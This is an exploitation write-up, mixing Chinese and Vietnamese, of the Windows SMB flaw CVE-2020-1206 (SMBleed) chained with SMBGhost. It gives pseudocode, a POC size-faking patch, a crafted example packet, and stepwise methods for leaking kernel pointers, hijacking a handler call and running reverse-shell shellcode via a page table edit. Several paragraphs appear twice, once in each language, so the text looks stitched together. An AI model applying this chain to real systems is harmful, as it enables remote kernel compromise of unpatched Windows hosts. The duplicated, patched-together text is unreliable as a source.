在SMBGhost漏洞(CVE-2020-0796)中,我提到了一种通过利用整数溢出漏洞修改Alloc.Userbuffer指针指向我们想要的地址并写入任意数据的write-what-where原语技术。类似于SMBGhost,此漏洞也存在于srv2.sys中的Srv2DecompressData函数中。让我们再次回顾由Zecops简化的与SMBGhost漏洞(CVE-2020-0796)相关的Srv2DecompressData函数。``` c typedef struct _COMPRESSION_TRANSFORM_HEADER { ULONG ProtocolId; ULONG OriginalCompressedSegmentSize; USHORT CompressionAlgorithm; USHORT Flags; ULONG Offset; } COMPRESSION_TRANSFORM_HEADER, *PCOMPRESSION_TRANSFORM_HEADER;
typedef struct _ALLOCATION_HEADER { // ... PVOID UserBuffer; // ... } ALLOCATION_HEADER, *PALLOCATION_HEADER;
NTSTATUS Srv2DecompressData(PCOMPRESSION_TRANSFORM_HEADER Header, SIZE_T TotalSize) { PALLOCATION_HEADER Alloc = SrvNetAllocateBuffer( (ULONG)(Header->OriginalCompressedSegmentSize + Header->Offset), NULL); If (!Alloc) { return STATUS_INSUFFICIENT_RESOURCES; }
ULONG FinalCompressedSize = 0;
NTSTATUS Status = SmbCompressionDecompress(
Header->CompressionAlgorithm,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER) + Header->Offset,
(ULONG)(TotalSize - sizeof(COMPRESSION_TRANSFORM_HEADER) - Header->Offset),
(PUCHAR)Alloc->UserBuffer + Header->Offset,
Header->OriginalCompressedSegmentSize,
&FinalCompressedSize);
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
SrvNetFreeBuffer(Alloc);
return STATUS_BAD_DATA;
}
if (Header->Offset > 0) {
memcpy(
Alloc->UserBuffer,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
Header->Offset);
}
Srv2ReplaceReceiveBuffer(some_session_handle, Alloc);
return STATUS_SUCCESS;
}
Hàm Srv2DecompressData nhận vào một message được nén do client gửi đến và tiến hành cấp phát một vùng nhớ cần thiết, giải nén message vào đó. Sau đó, nếu trường Offset khác không, nó sẽ copy data (RawData) ở trước data được nén vào phần đầu vùng nhớ được cấp phát.

Lỗi SMBGhost nằm ở việc hàm không kiểm tra integer overflow, dẫn đến cấp phát sai kích thước gây ra buffer overflow. Sau 3 tháng kể từ ngày Microsoft vá SMBGhost, lỗ hỏng CVE-2020-1206 (SMBleed - theo cách gọi của [Zecops Blog](https://blog.zecops.com/)) được tìm thấy. Lỗ hỏng này cho phép chúng ta leak được địa chỉ của máy khác, và nếu kết hợp với SMBGhost, ta có thể có được RCE. Để có cái nhìn đơn giản hơn về hàm Srv2DecompressData, ta sẽ dùng lại hàm này khi chưa được vá lỗi SMBGhost và giả sử rằng nó đã được vá.
# Giả mạo OriginalCompressedSegmentSize
Như SMBGhost, lần này ta vẫn sẽ giả mạo OriginalCompressedSegmentSize với một số lớn hơn một chút so với dữ liệu giải nén mà ta gửi. Ví dụ ta nén một data có kích thước x byte, thay vì đặt vào trường OriginalCompressedSegmentSize x, ta sẽ đặt thành x + 0x1000, xem hình sau sẽ rõ hơn:

Uninitialized kernel data sẽ được coi như một phần của message.
Như ở bài phân tích [CVE-2020-0796](https://github.com/datntsec/CVE-2020-0796) tôi có nói, Srv2DecompressData vẫn sẽ bỏ qua giai đoạn kiểm tra sau hàm SmbCompressionDecompress nếu việc decompress diễn ra thành công:``` c
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
SrvNetFreeBuffer(Alloc);
return STATUS_BAD_DATA;
}
Mặc dù trường OriginalCompressedSegmentSize được đặt thành x + 0x1000 thay vì x, nhưng sau khi giải nén thành công, biến FinalCompressedSize không chứa giá trị x, mà sẽ chứa giá trị x + 0x1000:```c NTSTATUS SmbCompressionDecompress( USHORT CompressionAlgorithm, PUCHAR UncompressedBuffer, ULONG UncompressedBufferSize, PUCHAR CompressedBuffer, ULONG CompressedBufferSize, PULONG FinalCompressedSize) { // ...
NTSTATUS Status = RtlDecompressBufferEx2(
...,
FinalUncompressedSize,
...);
if (status >= 0) {
*FinalCompressedSize = CompressedBufferSize;
}
// ...
return Status;
}
因为在成功解压缩后,FinalCompressedSize 被更新为保存 CompressedBufferSize 的值(对应于传入 SmbCompressionDecompress 函数的 OriginalCompressedSegmentSize)。随后的更新和检查几乎是不必要的,可能导致一些意外错误。
# 基础利用
Zecops 用于演示漏洞的消息结构是 [SMB2 WRITE message](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e7046961-3318-4350-be2a-a8d69bb59ce8)。该结构包含可写入字节数、标志等字段,后面跟着一个任意长度的缓冲区。这对于利用漏洞来说非常完美,因为我们可以创建一个消息并指定头部,而缓冲区中包含未初始化的数据。
基于 [Zecops](https://blog.zecops.com/) 在微软 WindowsProtocolTestSuites 仓库中的 POC,为了更清楚地了解这一点,我们将为压缩函数添加这个小的补充:``` c
// HACK: fake size
if (((Smb2SinglePacket)packet).Header.Command == Smb2Command.WRITE)
{
((Smb2WriteRequestPacket)packet).PayLoad.Length += 0x1000;
compressedPacket.Header.OriginalCompressedSegmentSize += 0x1000;
}
请注意,此POC需要认证信息和写权限,这在很多情况下都是可用的。然而,返回的错误将适用于所有消息(包括有或没有认证信息的消息),因此有可能我们可以在无需认证的情况下进行利用。另外,我们将泄漏的内存来自先前在NonPagedPoolNx中的分配,并且由于我们可以控制分配大小,我们可以在一定程度上控制我们将泄漏的数据。
那么,如果没有认证信息,是否可以泄漏内核地址呢?为了回答这个问题,让我们进一步深入分析SMB。
在进行认证时,客户端会发送以下消息:
SMB2 NEGOTIATE → SMB2 SESSION_SETUP → SMB2 SESSION_SETUP
如果认证信息错误,连接会在第二个SMB2 SESSION_SETUP数据包之后被终止:

假设我们没有认证信息,我们将检查是否存在一个可以在无需认证的情况下发送的命令。通过搜索,我们注意到:
SMB2 NEGOTIATE,它也是整个会话中唯一的SMB2 NEGOTIATE命令。SMB2 SESSION_SETUP。其中,SMB2 NEGOTIATE消息不会被压缩。漏洞位于解压函数中,因此我们不会考虑它,只考虑SMB2 SESSION_SETUP消息。
如上所述,一个正常会话会发送两个SMB2 SESSION_SETUP命令。返回的数据包不包含任何我们可利用的数据,我们也没有办法影响返回的数据包。然而,第二个返回数据包将拥有空主体,并在数据包头中带有状态0xC000006D(STATUS_LOGON_FAILURE)。注意到,第一个SMB2 SESSION_SETUP数据包包含NTLM Negotiate消息请求,第二个数据包包含NTLM Authenticate消息。NTLM Negotiate消息相当简单,可能没什么有趣的,因此我们将深入探讨NTLM Authenticate消息。
在研究NTLM Authenticate消息后,我们注意到该消息中最复杂且最适合利用的部分是NTLM2 V2 Response结构。这个结构是一个大小不固定的字节数组,主要包含NTLMv2_CLIENT_CHALLENGE结构。我们看到,如果这个结构没有通过初始检查,将返回0xC000000D(STATUS_INVALID_PARAMETER)而不是0xC000006D(STATUS_LOGON_FAILURE)。其中一个初始检查是检查AvPairs字段。
AvPairs字段是一个大小不固定的字节数组,包含AV_PAIR结构。每个AV_PAIR定义了一个属性/值对,属性由AvId字段定义,AvLen字段定义值的字节长度,Value字段是一个大小不固定的字节数组,包含其自身的值。一个带有MsvAvEOL属性和零长度的项标记数组的结束。

Authenticate消息由msv1_0.dll模块中的SsprHandleAuthenticateMessage函数处理。在初始检查中,该函数确保AvPairs数组包含以下属性:0x0001(MsvAvNbComputerName)、0x0002(MsvAvNbDomainName)。然而,它们的值不被检查,它只通过遍历数组来检查所需属性是否存在以及它的长度是否在结构内。如果长度过大,传输将停止。因此,实际上,MsvAvEOL是否有效并未被检查。
此时,我们已发现我们可以构造一个请求,帮助我们回答以下问题:对于偏移量x处的两个字节,类型为uint16,其值是否大于y?x和y由我们控制。请看以下数据包:

value 0x0001(MsvAvNbComputerName)的内容并不重要,因此我们可以用它来调整第二个值的偏移量。对于第二个值,我们只将属性设置为0x0002(MsvAvNbDomainName),而不初始化len和value。同时,设置整个数据包的大小,使得根据length字段有y个字节。根据第二个值的未初始化length字段的值,可能有两种结果:
根据服务器的响应,我们总能推断出上述问题的答案。
然而,NTLM Authenticate消息被限制在0xB48字节以内,如果超过该大小将被丢弃。该检查由msv1_0.dll模块中的SspContextGetMessage函数执行。那么,假设我们只写入一个len字节,另一个字节将包含未初始化的值,是否能绕过这个限制呢?很遗憾不能,因为uint16值是以小端格式编码的。 因此,我们无法在单个SMB会话中达到我们的目的,我们将进一步考虑其他因素。
如之前的研究(CVE-2020-0796)中所述,内核中的SMB处理模块(srv2.sys和srvnet.sys)使用自定义分配函数——SrvNetAllocateBuffer,由srvnet.sys导出。该函数对小分配使用后备列表以进行优化。后备列表用于高效存储一组固定大小的缓存,可供驱动程序重复使用。
后备列表在初始化时创建,每个大小和逻辑处理器的列表如下表所示:
每个标有"📝"的单元格都是一个单独的后备列表。为简化分析,我们假设我们的目标只有一个逻辑处理器。在这种情况下,只要分配相同的字节数,就会使用相同的后备列表,从而多次重复使用相同的缓存。我们可以利用这一点来对未初始化数据获得一定程度的控制。
让我们回顾一下当压缩数据包被解压时会发生什么(有关详细信息和伪代码,请参考CVE-2020-0796的writeup):

在CompressedData无效的情况下,解压阶段将失败,复制阶段不会执行,连接将被中断。但解压可能仅在解压了部分有效CompressedData后失败。这允许我们构造一个请求,使我们选择的数据写入我们选择的偏移量处,如下图所示:

我们可以利用上述观察结果,通过两个步骤使我们的技术生效:

这一次,该技术可以回答以下问题:对于偏移量x处的一个字节,其值是否大于y?和之前一样,x和y由我们控制。
由于我们可以通过确保使用相同的后备列表来多次重复使用缓存,我们可以多次重复这些步骤,同时改变y,最终推断出某个偏移量处的字节值。
然而,该技术有一个限制——我们可以读取的字节偏移量被限制在数据包缓存起始位置的0xADB字节处。这是因为NTLM Authenticate消息(AUTHENTICATE_MESSAGE)的偏移量被限制在SMB2 SESSION_SETUP头部结束后的0x40字节(由srv2.sys中的Smb2ValidateSessionSetup执行),并且NTLM Authenticate消息(AUTHENTICATE_MESSAGE)的大小被限制为0xB48字节。我们将寻求解决这个问题。
假设我们想读取偏移量0x1100处的一个字节。我们不能直接用上述技术做到这一点,但我们仍然可以使用以下附加技术:由于缓存是从后备列表重复使用的,我们可以通过设置Offset字段来“提升”目标字节,使其通过解压函数而越过该字节。我们只需要确保那里的数据可以被解释为有效的压缩数据,否则复制将不会发生。

客户端发送的数据包缓存包含额外的16字节头部,这些头部在解压过程中不会被复制。因此,复制的和解压的数据(包括目标字节)被复制到距离分配缓存起始位置约16字节的位置。我们可以重复这个过程几次,直到目标字节的偏移量足够低。
你可以找到演示上述技术的脚本在此处。请记住,我们假设服务器计算机只有一个逻辑处理器,因此你必须正确配置虚拟机才能让脚本运行。如果一切顺利,脚本将读取并泄漏NonPagedPoolNx池的地址。实际上,这将是位于同一个后备列表中的一个缓存的地址。
由于该技术有相当多的限制,我将不再进一步深入分析。不过,你仍然可以阅读上面的脚本并自行分析。
在研究过程中,Zecops意识到,被解压的SMB数据包并不是唯一一个可以以多种方式无效的复杂结构。甚至在处理所有与SMB相关的结构之前,压缩缓存本身也可能无效。如果解压失败,到服务器的连接将被中断。
微软在实现SMB时提供了三种压缩算法可供选择:LZNT1、Plain LZ77和LZ77 + Huffman。我们只考虑LZNT1,因为它相当简单——大约80行Python代码用于解压函数。我将简要说明解压过程:压缩数据由一系列压缩块组成,每个块以一个uint16变量开始,标记该块的长度。当遇到长度为0时,解压完成。我们将利用这一点来写入一串代表有效压缩数据的0字节。目的是回答上面的问题:对于偏移量x处的一个字节,其值是否大于y?当然,x和y仍由我们控制。
下面是我们将发送的压缩数据示例:

根据未初始化的length字段的第一个字节的值,可能有两种结果:
与之前的技术类似,我们可以利用观察#1和#2,通过两个步骤在消息中间创建一个未初始化的字节:
请注意,SMB数据包头中的Offset字段指向压缩数据,该数据可能有效也可能无效,具体取决于未初始化字节的值。

与之前的技术相比,该技术最显著的优点是偏移量不再受限制。
综上所述,我们有两种技术来读取由srvnet.sys模块中的SrvNetAllocateBuffer函数分配的池缓存中的未初始化内存区域。第一种技术构造一个特殊的SMB数据包,然后通过服务器的响应推断信息。第二种技术的限制更少,我们将构造一个特殊的压缩数据并发送它,然后根据服务器是否断开连接来推断信息。
因此,我们可以使用上述两种技术之一进行利用。正如我所说,第一种技术有较多限制,因此我们只深入探讨第二种技术。
这种技术将帮助我们利用Zecops先前在之前的研究中演示的write-what-where原语进行利用,以实现本地权限提升。我们将使用这种技术泄漏内存布局中的地址,以便能够使用write-what-where原语。不幸的是,由SrvNetAllocateBuffer函数分配的内存主要用于网络数据(如SMB数据包),不包含任何系统指针。并且由于我们需要实现RCE,泄漏由SrvNetAllocateBuffer先前分配产生的未初始化内存区域是无用的,因为无法确定需要找到的指针位置。我们需要找到一些更有用的东西。
正如我在关于本地权限提升的研究(CVE-2020-0796)中所说,SrvNetAllocateBuffer函数不仅返回一个具有请求大小的缓存。相反,它返回一个指向池分配内存块结构中用户缓存正下方的指针,该结构包含有关分配的缓存的信息。池分配内存块的布局如下:

尽管我们的读取技术只能读取“用户缓存”区域的字节,我们仍然可以使用另一种技术将SRVNET_BUFFER_HDR结构的部分内容复制到另一个缓存的“用户缓存”中,以便读取它。通过将Offset字段设置为指向我们想要读取的数据之外的SRVNET_BUFFER_HDR结构。我们只需要确保那里的数据可以被解释为有效的压缩数据,否则复制将不会发生。

让我们看看SRVNET_BUFFER_HDR结构的字段,看看是否有任何值得读取的内容:``` c #pragma pack(push, 1) struct SRVNET_BUFFER_HDR { /00/ LIST_ENTRY ConnectionBufferList; /10/ WORD BufferFlags; // 0x01 - no transport header, 0x02 - part of a lookaside list /12/ WORD LookasideListIndex; // 0 to 8 /14/ WORD LookasideListLogicalProcessor; /16/ WORD TracingDataCount; // 0, 1 or 2, for TracingPtr1/2, TracingUnknown1/2 /18/ PBYTE UserBufferPtr; /20/ DWORD UserBufferSizeAllocated; /24/ DWORD UserBufferSizeUsed; /28/ DWORD PoolAllocationSize; /2C/ BYTE unknown1[4]; /30/ PBYTE PoolAllocationPtr; /38/ PMDL pMdl1; /40/ DWORD BytesProcessed; /44/ BYTE unknown2[4]; /48/ SIZE_T BytesReceived; /50/ PMDL pMdl2; /58/ PVOID pSrvNetWskStruct; /60/ DWORD SmbFlags; /64/ PVOID TracingPtr1; /6C/ SIZE_T TracingUnknown1; /74/ PVOID TracingPtr2; /7C/ SIZE_T TracingUnknown2; /84/ BYTE unknown3[12]; }; #pragma pack(pop)
Các con trỏ `UserBufferPtr`, `PoolAllocationPtr`, `pMdl1`, `pMdl2` 是指向池分配内存块内部的指针,其偏移可以预先计算,因此我们只需读取其中一个即可。拥有一个指向池分配内存块的指针肯定有助于我们进行利用。此外,以下指针也非常重要:
- **ConnectionBufferList**:一个链表,包含某个连接所有已接收但未处理的缓冲区。此链表的头部是由 srvnet.sys 中的 `SrvNetAllocateConnection` 函数创建的连接对象。缓冲区由 `SrvNetWskReceiveComplete` 函数添加到链表中。在我们这种情况下,链表中只有一个缓冲区,因此两个指针(`LIST_ENTRY` 结构中的 Flink 和 Blink)都指向连接对象内部的链表头部。
- **pSrvNetWskStruct**:最初,这是一个指向上述连接对象的指针。该指针由 `SrvNetWskReceiveEvent` 函数设置,但被 `SrvNetWskReceiveComplete` 函数覆盖为指向 `SRVNET_BUFFER_HDR` 结构的指针。因此,读取它并不比读取上述四个指针更有用。顺便提一下,如果你搜索“pSrvNetWskStruct”,你会发现它在 EternalBlue 利用中扮演了角色。
- **TracingPtr1/2**:这些指针仅在追踪功能启用时使用。

如您所见,另一个对我们有用的唯一可读指针是 `ConnectionBufferList` 结构中的一个指针。两个指针(`LIST_ENTRY` 结构中的 Blink 和 Flink)都指向连接对象。该对象被 EternalBlue 研究人员命名为 `SRVNET_RECV`,因此我们也使用这个名称。
## 获取模块基地址
现在,我们已经知道如何获取两个指针——一个指向池分配内存块,另一个指向 `SRVNET_RECV` 结构——我们可以使用 write-what-where 原语自由修改这两个缓冲区。可能有很多方法可以实现 RCE,但获取模块基地址是最简单的选择,因为我们可以利用模块数据段中的许多内容进行修改。正如我们所看到的,由 `SrvNetAllocateBuffer` 分配的内存块中没有指向任何模块的指针。然而,仍然存在一些指向模块的指针:

我们拥有的读取技术只允许我们读取“用户缓冲区”区域的数据,而这些指针距离较远,并且被许多其他指针间接引用。我们需要一段能够执行以下操作的代码来将指针值复制到“用户缓冲区”区域:``` c
ptr1 = *(pSrvNetRecv + offset1)
value = *ptr1
ptr2 = *(pSrvNetRecv + offset2)
*ptr2 = value
Nếu ta có thể tìm thấy một đoạn mã như vậy, ta sẽ kích hoạt nó để sao chép con trỏ đầu tiên (ví dụ: HandlerFunctions) vào vùng "User Buffer", đọc nó, sau đó sao chép con trỏ thứ hai (ví dụ: con trỏ hàm Srv2ConnectHandler) vào "User Buffer" và đọc nó, suy ra module base address từ nó. Nhóm Zecops đã tìm kiếm một đoạn mã như vậy trong một thời gian dài, nhưng không tìm thấy một đoạn mã phù hợp nào. Cuối cùng, họ sử dụng lựa chọn khác liên quan đến hàm SrvNetFreeBuffer (đã được đơn giản hóa như bên dưới) có chức năng gần như mong muốn:
如果能够找到这样一段代码,我们将触发它,将第一个指针(例如 HandlerFunctions)复制到“用户缓冲区”并读取,然后将第二个指针(例如 Srv2ConnectHandler 函数指针)复制到“用户缓冲区”并读取,从而从中推导出模块基址。Zecops 团队曾长期寻找这样一段代码,但未能找到合适的。最终,他们采用了另一个与 SrvNetFreeBuffer 函数相关的替代方案(简化后如下所示),该函数的功能几乎符合预期:``` c void SrvNetFreeBuffer(PSRVNET_BUFFER_HDR Buffer) { PMDL pMdl1 = Buffer->pMdl1; PMDL pMdl2 = Buffer->pMdl2;
if (pMdl2->MdlFlags & 0x0020) {
// MDL_PARTIAL_HAS_BEEN_MAPPED flag is set.
MmUnmapLockedPages(pMdl2->MappedSystemVa, pMdl2);
}
if (Buffer->BufferFlags & 0x02) {
if (Buffer->BufferFlags & 0x01) {
pMdl1->MappedSystemVa = (BYTE*)pMdl1->MappedSystemVa + 0x50;
pMdl1->ByteCount -= 0x50;
pMdl1->ByteOffset += 0x50;
pMdl1->MdlFlags |= 0x1000; // MDL_NETWORK_HEADER
pMdl2->StartVa = (PVOID)((ULONG_PTR)pMdl1->MappedSystemVa & ~0xFFF);
pMdl2->ByteCount = pMdl1->ByteCount;
pMdl2->ByteOffset = pMdl1->MappedSystemVa & 0xFFF;
pMdl2->Size = /* some calculation */;
pMdl2->MdlFlags = 0x0004; // MDL_SOURCE_IS_NONPAGED_POOL
}
Buffer->BufferFlags = 0;
// ...
pMdl1->Next = NULL;
pMdl2->Next = NULL;
// Return the buffer to the lookaside list.
} else {
SrvNetUpdateMemStatistics(NonPagedPoolNx, Buffer->PoolAllocationSize, FALSE);
ExFreePoolWithTag(Buffer->PoolAllocationPtr, '00SL');
}
}
Khi giải phóng bộ đệm, nếu buffer flags là 0x02 (có nghĩa là buffer là một phần của một lookaside list) và 0x01 (có nghĩa là buffer không có transport header) được set, một số thao tác được thực hiện trên hai MDL objects để thêm transport header trước khi set lại các flag về 0 và trả buffer trở lại lookaside list. Nếu chúng ta xem xét kĩ đằng sau các thao tác trên các MDL object, chúng ta có thể nhận thấy rằng đoạn code thực hiện phép double-dereference-read theo sau là double-dereference-write với hai biến mà ta kiểm soát (hai con trỏ MDL), đó là những gì ta đang tìm kiếm. Nhược điểm là nội dung mà chúng ta muốn đọc cũng bị sửa đổi, một tác dụng phụ mà ta hy vọng có thể tránh được.
Với những điều trên, đây là cách ta quản lý để đọc con trỏ AcceptSocket:
1. Chuẩn bị buffer A từ một lookaside list sao cho vùng “User buffer” được lấp đầy bởi các số 0. Vùng user buffer của buffer này sẽ chứa con trỏ mà chúng ta sẽ đọc.
2. Chuẩn bị buffer B từ một lookaside list khác để:
- Con trỏ pMdl1 trỏ đến địa chỉ của con trỏ AcceptSocket trừ đi 0x18, (do offset của MappedSystemVa là 0x18 trong cấu trúc MDL).
- Con trỏ pMdl2 trỏ đến vùng “User buffer” của Buffer A.
- Trường Flags được set thành 0x03.
Ta có thể ghi đè các trường cấu trúc SRVNET_BUFFER_HDR bằng cách giải nén chúng từ buffer lớn hơn thông qua kỹ thuật được mô tả trong phần [Observation #2](https://github.com/datntsec/CVE-2020-1206#observation-2-failing-the-decompression) ở trên.
3. Khi Buffer B được giải phóng, các hoạt động sau sẽ diễn ra:
- Các MDL flags sẽ được đọc từ MDL thứ hai tại buffer A. Nếu MDL_PARTIAL_HAS_BEEN_MAPPED flag được set, MmUnmapLockedPages sẽ được gọi và hệ thống có khả năng bị crash. Đó là lý do tại sao ta phải lấp đầy buffer bằng các số 0 ở bước 1.
- Con trỏ AcceptSocket và bộ nhớ xung quanh nó sẽ được sửa đổi như được mô tả ở đây:
在释放缓冲区时,如果缓冲区标志为0x02(表示缓冲区是一个 lookaside list 的一部分)和0x01(表示缓冲区没有传输头)被设置,则会在两个 MDL 对象上执行一些操作,以添加传输头,然后将标志重置为0并将缓冲区返回给 lookaside list。如果我们仔细审视 MDL 对象上的这些操作,可以发现代码执行了双重解引用读取(double-dereference-read),随后又对两个我们可控的变量(两个 MDL 指针)执行了双重解引用写入(double-dereference-write),这正是我们寻找的漏洞。缺点是我们想要读取的内容也会被修改,这是一个我们希望避免的副作用。
基于以上情况,我们读取 AcceptSocket 指针的方法如下:
1. 从一个 lookaside list 中准备缓冲区 A,使其“用户缓冲区”区域被零填充。该缓冲区的用户缓冲区将包含我们要读取的指针。
2. 从另一个 lookaside list 中准备缓冲区 B,使得:
- pMdl1 指针指向 AcceptSocket 指针地址减去 0x18(因为 MDL 结构中 MappedSystemVa 的偏移为 0x18)。
- pMdl2 指针指向缓冲区 A 的“用户缓冲区”区域。
- Flags 字段设置为 0x03。
我们可以通过[观察 #2](https://github.com/datntsec/CVE-2020-1206#observation-2-failing-the-decompression) 中描述的技术,从更大的缓冲区中解压并覆盖 SRVNET_BUFFER_HDR 结构体的字段。
3. 当缓冲区 B 被释放时,会发生以下操作:
- 从缓冲区 A 中的第二个 MDL 读取 MDL 标志。如果设置了 MDL_PARTIAL_HAS_BEEN_MAPPED 标志,则会调用 MmUnmapLockedPages,系统可能会崩溃。这就是为什么我们在步骤 1 中必须用零填充缓冲区。
- AcceptSocket 指针及其周围的内存会被修改,如下所述:```
+00 | 00 00 00 00 00 00 00 00
+08 | __ __ __|10 __ __ __ __
+10 | __ __ __ __ __ __ __ __
+18 | [+50..................] <-- AcceptSocket
+20 | __ __ __ __ __ __ __ __
+28 | [-50......] [+50......]
- 缓冲区A的“用户缓冲区”区域将按照如下描述进行修改:(橙色字节包含我们想要读取的指针,我们只需正确排列它们即可)```
+00 | 00 00 00 00 00 00 00 00
+08 | ?? ?? 04 00 __ __ __ __
+10 | __ __ __ __ __ __ __ __
+18 | __ __ __ __ __ __ __ __
+20 | 00 c0 ef gh ij kl mn op
+28 | qr st uv wx ab 0d 00 00

好消息是我们已经读取了指针。坏消息是我们损坏了 SRVNET_RECV 结构中的一些数据。幸运的是,只要相关连接没有发生任何情况,这个错误不会影响系统。当发生某些情况时,例如连接关闭,系统将会崩溃。这不成问题,因为我们即将获得 RCE,并且如果我们愿意,我们也可以修复这个错误。
在读取 AcceptSocket 指针后,我们继续使用相同的技术来读取 srvnet!SrvNetWskConnDispatch 指针。我们读取 AcceptSocket 指针而不是 HandlerFunctions 指针的原因是,HandlerFunctions 数组在所有连接之间共享,而 AcceptSocket 所指向的缓冲区则不与其它连接共享。因此,如果我们损坏 AcceptSocket 中的某些部分,它只会影响单个连接的稳定性。
如果我们拥有目标计算机上使用的 srvnet.sys 文件的副本,我们可以通过减去我们泄露的 SrvNetWskConnDispatch 指针的偏移量,轻松推算出 srvnet.sys 模块的基址。
假设我们已经拥有 srvnet.sys 模块的基址,那么我们可以调用该模块的任何函数。但函数参数该怎么办?函数 srv2!Srv2ReceiveHandler 由 SrvNetCommonReceiveHandler 调用,其调用形式如下:``` c HandlerFunctions = *(pSrvNetRecv + 0x118); Arg1 = *(ULONG_PTR)(pSrvNetRecv + 0x128); Arg2 = *(ULONG_PTR)(pSrvNetRecv + 0x130); (HandlerFunctions[1])(Arg1, Arg2, Arg3, Arg4, Arg5, Arg6, Arg7, Arg8);
Hai đối số đầu tiên được đọc từ cấu trúc SRVNET_RECV, vì vậy ta có thể kiểm soát chúng, tuy nhiên ta không thể kiểm soát các đối số còn lại. Quy ước gọi x86-64 chỉ định rằng người gọi có trách nhiệm phân bổ và giải phóng không gian ngăn xếp cho các đối số, vì vậy mặc dù hàm 8 đối số được dự định gọi, chúng ta có thể thay thế con trỏ bằng một hàm mong đợi bất kỳ khác.

Dưới đây là các bước chúng ta sẽ sử dụng để kích hoạt lệnh gọi hàm:
1. Gửi một message được tạo đặc biệt để con trỏ cấu trúc SRVNET_RECV của kết nối sẽ được copy vào buffer mà ta có thể đọc.
2. Gửi một message hợp lệ khác, message này sẽ sử dụng lại cùng một cấu trúc SRVNET_RECV, nhưng chưa đóng kết nối. Lưu ý rằng khi kết nối bị đóng, cấu trúc SRVNET_RECV không được giải phóng. Hàm SrvNetPrepareConnectionForReuse được gọi để set lại cấu trúc để nó có thể được sử dụng lại cho kết nối tiếp theo.
3. Đọc con trỏ cấu trúc SRVNET_RECV mà ta đã copy ở bước 1.
4. Thay thế con trỏ HandlerFunctions và các đối số bằng cách sử dụng kĩ thuật write-what-where primitive.
5. Gửi một message bổ sung qua kết nối từ bước 2 để hàm thay thế cho srv2!Srv2ReceiveHandler được gọi.
Bây giờ tất cả những gì ta phải làm là tìm một hàm để copy bộ nhớ từ vị trí này sang vị trí khác, để ta có thể copy bộ nhớ tùy ý vào pool buffer mà ta có thể đọc từ đó. memcpy là một lựa chọn và srvnet.sys có một hàm như vậy (chính xác hơn là memmove), nhưng hàm này yêu cầu đối số thứ ba, đối số dùng để xác định số byte cần được sao chép mà ta không kiểm soát được. Tuy nhiên, ta không bị giới hạn bởi các hàm được triển khai trong srvnet.sys, ta cũng có thể gọi các hàm từ import table của srvnet và hàm RtlCopyUnicodeString là một sự lựa chọn hoàn hảo để thực hiện điều ta muốn.
Hàm RtlCopyUnicodeString nhận hai con trỏ UNICODE_STRING làm đối số và sao chép nội dung của source string sang destination string. Không giống như các C string được kết thúc bằng NULL, các string trong kernel được xác định bởi cấu trúc UNICODE_STRING chứa một con trỏ trỏ đến string và length của string tính bằng byte. String buffer có thể chứa bất kỳ dữ liệu nhị phân nào. Nếu bạn nhìn vào code của hàm RtlCopyUnicodeString, bạn có thể thấy rằng việc copy được thực hiện với hàm memmove, tức là copy dữ liệu nhị phân thuần túy. Tất cả những gì chúng ta phải làm là chuẩn bị hai cấu trúc UNICODE_STRING và gọi RtlCopyUnicodeString, sau đó đọc dữ liệu đã được copy:

## Executing shellcode
Sau khi đạt được convenient arbitrary read primitive, ta chuyển sang thử thách tiếp theo hướng tới mục tiêu Remote Code Execute thông qua việc chạy một shellcode. Ta sẽ sử dụng kỹ thuật mà Morten Schenk đã trình bày trong bài nói chuyện về [Black Hat USA 2017](https://www.blackhat.com/docs/us-17/wednesday/us-17-Schenk-Taking-Windows-10-Kernel-Exploitation-To-The-Next-Level%E2%80%93Leveraging-Write-What-Where-Vulnerabilities-In-Creators-Update.pdf) (trang 47-51).
Ý tưởng là viết một mã shellcode bên dưới cấu trúc KUSER_SHARED_DATA có địa chỉ không đổi, địa chỉ duy nhất không được ngẫu nhiên hóa trong kernel memory layout của các phiên bản Windows gần đây. Sau đó, sửa đổi page table entry liên quan, làm cho page có thể execute. Base address của các page table entry trong kernel là ngẫu nhiên, nhưng được truy xuất từ hàm MiGetPteAddress trong ntoskrnl.exe. Dưới đây là các bước ta sẽ sử dụng để thực thi shellcode của mình:
1. Sử dụng arbitrary read primitive để lấy base address của ntoskrnl.exe từ import table của srvnet.
2. Đọc base address của page table entry từ hàm MiGetPteAddress, như được mô tả trong các trang trình bày của Morten.
3. Ghi shellcode vào địa chỉ KUSER_SHARED_DATA + 0x800 (0xFFFFF78000000800). Lưu ý rằng ta cũng có thể sử dụng một trong các pool buffer để lưu trữ shellcode, việc sử dụng KUSER_SHARED_DATA là để làm mọi thứ đơn giản hơn.
4. Tính toán địa chỉ page table entry liên quan và xóa bit NX để cho phép execute, như được mô tả trong các trang trình bày của Morten.
5. Gọi shellcode bằng cách sử dụng kĩ thuật đã trình bày ở trên để gọi một hàm tùy ý.
Shellcode mà Zecops sử dụng để reverse shell là [sleepya’s shellcode](https://github.com/worawit/MS17-010/tree/master/shellcode) được viết phục vụ cho mục đích khai thác EternalBlue. Họ đã sửa đổi shellcode trên để có thể thực hiện được trên các phiên bản windows gần đây
# Debug

Thông tin của một gói SMB sẽ có cấu trúc gần giống như trên. Giả sử chúng ta cần leak địa chỉ của User Buffer, ta sẽ cần đọc con trỏ UserBufferPtr. Để đọc được con trỏ này, ta sẽ tận dụng [kĩ thuật](https://github.com/datntsec/CVE-2020-1206#srvnetallocatebuffer-and-the-allocated-buffer-layout) đặt trường offset nằm vượt ra khỏi con trỏ để nó được copy vào vùng user buffer của một buffer khác.
Ví dụ về gói SMB do client gửi đi có nội dung như sau:```c
Header:
- Id = 0x424d53fc
- OriginalCompressedSegmentSize = 0x0
- CompressionAlgorithm = 1
- Flag = 0
- Offset = 0x2116
Data = ‘A’ * 0x1101.
Gói tin này khi đến server sẽ được lưu trong một buffer được tạo bởi hàm SrvNetAllocateBuffer, Do toàn bộ gói tin có kích thước nằm trong khoảng 0x1100 đến 0x2100 nên hàm này sẽ trả về một alloc với vùng user buffer có kích thước 0x2100 (ta sẽ gọi nó là Alloc A), sau đó lưu thông tin client gửi vào như hình bên dưới:

